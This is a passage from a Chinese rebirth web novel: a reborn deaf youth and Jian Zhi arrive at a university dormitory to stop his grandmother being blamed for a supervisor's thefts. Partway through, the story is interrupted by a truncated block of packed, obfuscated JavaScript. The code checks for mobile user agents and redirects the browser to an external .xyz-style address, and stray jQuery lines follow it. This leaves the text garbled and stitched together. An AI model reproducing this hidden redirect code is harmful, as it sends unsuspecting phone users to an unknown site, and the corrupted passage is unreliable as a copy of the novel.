简知忙拉开一点和路觉铭的距离,双手松也不是,抓紧也不是。
他尴尬得脸上有点发烫,眼帘轻轻垂下。
他心脏莫名跳得厉害,似乎与路觉铭的这种近距离接触,已经干扰到心脏的正常运作。
一定是太害怕他的原因。简知心想。
真可笑,生病的时候就怕他,现在快要死了,在梦里也怕。
他一边自嘲,一边酸楚地想,好在……他梦里十七岁的路觉铭,好像还没有开始讨厌他。
就在简知暗中埋怨自己没出息的时候,前面的路觉铭同样心绪翻涌。
少年人感受着背上传来的简知身体的热度,还有那两只抱在他腰侧的、活着的简知的手,努力装作平静,微微弓背,双腿用力地一脚一脚踩下脚踏板。
自行车在风中飞驰。
微黑的面庞上表情并不明显,可一双眼睛却亮得像烧着火光。
那样明亮的火光,几乎要灼烧一切。
他双手紧握车把,因为用力,骨节处的皮肤都在泛白。
他紧紧盯着前方路面,可眼前浮现的却仍是刚才简知打手语的画面。
——路觉铭很清楚,在上辈子他回到简家之前,简知并没有学过手语。
简知的手语,全是跟他学的。
那么,这个十七岁的,还没有认识他的简知,又是怎么学会的“谢谢”?
路觉铭只觉有一股沸腾的热血从心室泵出,涌向浑身上下。
……只有一个可能。
那就是简知和他一样,回到了他们的十七岁。
2013 年,奶奶还没死,简知也还没有遇到他。
路觉铭完全不敢去正视这个猜测。
这个可能太耀眼了,每个字都像在燃烧,烧得他胸膛中如有雷电轰击,要让他用尽所有的自制和忍耐,才不至于做出些他无法承担后果的事情。
他怕他但凡多想一次这个可能,一切都会如幻觉般立刻消逝。
他只能躲开这个燃烧的可能,让视线死死看向前方,无声紧咬牙关,脖颈处青筋暴起。
他载着简知,风驰电掣般驶入洛溪大学的校园。
不用问路,不用导航,从洛溪大学抵达路珍妹工作区域的这条路,他上辈子在路珍妹含冤去世后,走了不下千百遍。
他们只花了几分钟,就抵达学生宿舍园区门口。
不少人已经聚集在园区门口,从着装和年纪看,这些人既有就读的学生,也有学校的行政人员。
路觉铭猛地刹车。
简知因为惯性又向前一倒,整个人趴在了路觉铭背上,鼻子都撞痛了。
他急忙后仰,揉着鼻子,双脚踩到地上:“到、到了吗?”
路觉铭点点头,看见简知动作,心里一惊,立刻低头凑过去想检查他有没有出血。
简知忙后退了一步,松开手,和路觉铭保持距离。
路觉铭沉默地看了简知完好无损的鼻子一眼,这才没继续靠近。
他转过头,把自行车扔到一边,黑得浓郁的双眼看向这群聚集的人,轻轻闭了下眼帘。
上一辈子,无数次,他曾在孤寂的黑夜里想象过,自己身处这个场景时,能做些什么。无数次。
他设计了几十种办法、准备了数百种辩词,总有一种,可以救下那时被所有人看着,百口莫辩的奶奶。
然而那些都只能是想象中的预演,他最终什么都无法改变。
他只能平静地接受命运送给他的又一记重锤,就像他平静接受噩运的每一面。
上辈子路珍妹出事的时候,他正跟在魏潇身边做事,对此一无所知。
本来路珍妹年纪太大,超过七十岁,已经无法再受雇工作,而且路觉铭也一直不肯再让她出去工作。
可是她从来都不是个能闲的住的人,从道路环卫工作上退下来后,她四处托人打听帮忙,才最终在找到这份在大学做清洁打扫的活。
老太太脾气远比路觉铭更倔,她想做的事情,哪怕路觉铭再怎么劝阻,也非得要去做。
这份工作是外包,归属洛溪大学委托的物业公司管辖,负责清扫打理学生宿舍园区,工作强度比她之前做道路环卫低很多,路珍妹为此还很高兴。
物业公司给每个园区都分配了一个小组长,负责管理这些外包人员。
事情就出在路珍妹的直属领导,组长段方明身上。
段方明有学生宿舍楼的钥匙,每天该打扫宿舍楼内部的时间段,他就给这些保洁人员开门,而实际上,早在路珍妹他们进入宿舍楼之前,他就已经把每层楼踩过一遍了。
他专找那种忘记关门的宿舍,进去偷东西。
起初偷的都是小东西,没激起什么水花,后来胆子大了,偷钱包、偷电脑,仗着楼道里没监控,开始偷值钱的东西。
学生也察觉到了失窃事件越来越多,一直在向学校反应,后来有一天相互在群里一说,发现受害者不知凡几,便决定一起去学校保安处报案,非要在今天把小偷揪出来不可。
段方明听到风声,害怕被查到,那天便借口有事要忙,把宿舍楼钥匙交给路珍妹,让她自己开门去打扫。
而保安处主任和校警,以及学生们抵达园区的时候,便正好看到了手拿钥匙,正要进入宿舍楼的路珍妹。
*
那天到底是哪些人,对路珍妹说了什么话,才会让这个倔了一辈子、风吹雨打都不怕的老太太走投无路到跳河自尽,路觉铭后来全都查得一清二楚。
可查清楚了,又有什么用呢。
段方明不过是被判了十几年徒刑,可路珍妹却只能永远沉在了那条冰凉的河底。
但现在,路觉铭回来了。
他真的站在了这幅景象前,他有足够的机会和能力,改变这一切。
路觉铭是在昨夜惊醒的。
大梦觉醒,梦里仓惶潦草地过完短短一生,尘世辗转,终究落得万般遗憾。
临走前,他手里仍然握着一张年少时拍摄的褪色照片。
醒来后他花了整整一夜,才接受了自己重生的事实。
而当他意识到今天是什么日子之后,第一时间,就在早上找到了路珍妹。
他让路珍妹今天不要去宿舍楼打扫,又告诉她不要接过段方明递来的钥匙。
他说万一学生丢了什么东西,她会解释不清楚。
路珍妹脾气虽然古怪又倔,但起码脑子还很清楚,路觉铭的话不无道理,她点点头,也就应下。
但这还不保险。为了保证路珍妹今天不去宿舍楼,路觉铭还用了点小手段。
他托认识的人帮了个小忙,让今天负责清运的垃圾车先去了洛溪大学南片区,所以宿舍园区这边的垃圾今天堆得格外多。
路珍妹一整个上午和下午,都在忙着做垃圾分类,根本来不及去宿舍楼打扫。
尽管如此,他还是不放心,仍然亲自来到这里,确保路珍妹,再也不会一个人,面对所有人的责难和奚落。
*
园区门口闹哄哄。
保卫处主任横眉怒斥,和几个校警大声道:“查监控!门口的监控呢!找不到贼,我们就把这七天进出园区的所有监控都看一遍,总能抓出那个贼!”
学生们也应和:“对啊,早就该查了!我们都丢了多少东西!”
简知和路觉铭走过去,在混乱的人群外围观察事情进展。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993604|178070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>简知踮起脚,用目光四处寻找路珍妹的身影。
他没见过路珍妹的照片,只知道是个老太太,可这群人里面,怎么看都找不到一个老太太的身影……奇怪,路珍妹呢?
倒是在那几个工作人员之中,有个面庞浮肿的中年男人在听到保卫处主任的话时,脸色变了变。
他视线畏缩,在人群里移来移去,看动作似乎想离开,可挤在一堆的学生没有给他让出路。
路觉铭也一眼看到了这个中年男人,眼神中迅速升起一抹刀光剑影般的寒气。
他盯着人群中的段方明,面色迅速沉下去。
他按了下前面一个学生的肩膀,那学生转过头,看到人高马大又面色不善的路觉铭,也被吓了一跳,下意识往旁边让了一步。
路觉铭便这样走进人群。
不知道为什么,他明明一个字都没说,但逼近一米九的身高和凌厉硬朗的五官,天然给了他某种让人畏惧的气势,使得学生都不敢靠近他,纷纷让开。
简知也鼓起勇气跟在路觉铭身后,走向人群中央。
保安处主人见到走来的路觉铭,没好气地问:“你们是什么人?校外的,来干嘛?”
路觉铭缄默着,刚要打开手机,便听到简知在他背后小声地说:“我们是…… 来帮你们抓住小偷的。”
路觉铭有些意外地,顿了顿动作。
保安处主任皱眉看着他们:“帮我们?你们是不是知道些什么?”
所有人的目光顿时齐刷刷看向二人,看得简知立刻头皮一紧,紧张得心快跳出喉咙眼了。
但他不能怕。这只是梦,这只是梦。
简知心中默念,然后努力从路觉铭身后探出头,刚要开口,路觉铭就已经伸手,拦在了简知前面。
简知立刻闭上嘴巴。
保安处主任对简知探寻审视的目光让路觉铭有些不开心,他不想让简知被这些人这样看着。
他拿出一支破旧的枣红色按键手机,快速打了几个字,然后让手机用语音朗读:“小偷可能是园区里面的人,门口监控看不到。”
他这话一出,人群里的段方明脸色骤然发白!
他不知道这两个人是谁,但他真的感觉到了危险,他们难道真的知道是他偷的东西?
段方明又急又怒地瞪了路觉铭一眼,却正好与路觉铭冰冷的目光相对。
路觉铭看着段方明,面无表情,风平浪静。
段方明却被这平平淡淡的一眼看得打了个哆嗦,腿都发软。
这时简知终于发现了不远处正在往这里走过来的路珍妹,他赶紧拉住路觉铭的袖口,路觉铭随之回头,看见了路珍妹。
路珍妹个头矮小,穿着保洁的暗蓝色马甲,脚上一双干净的黑布鞋,一头银发齐耳,虽然瞳眸已经有些老年泛白,但看上去还很精神。
她走路的步伐很特殊,一颠一颠,小步快走。
简知遥遥望着她,眼睛一眨也不眨,认真注视着她的面容。
他看得很慢,很仔细。
像要好好认识路珍妹一样。
就是这个老太太,在十七年前,从垃圾桶里捡到了襁褓中被冻到失聪的路觉铭。
而丢弃路觉铭的人,是简知自己的亲生父母。
或许本来该被路珍妹捡到,并抚养长大的人是他。
……他欠路觉铭的这十七年,这个残缺的人生,到底该怎样,才能还清呢?
幸好他这一辈子,很快就过去了。
这个梦做完后,他就要死掉了吧。
只是。
简知忽然捕捉到什么奇怪的念头。
他临终前的梦境里……可以幻想出自己从来没见过的人吗?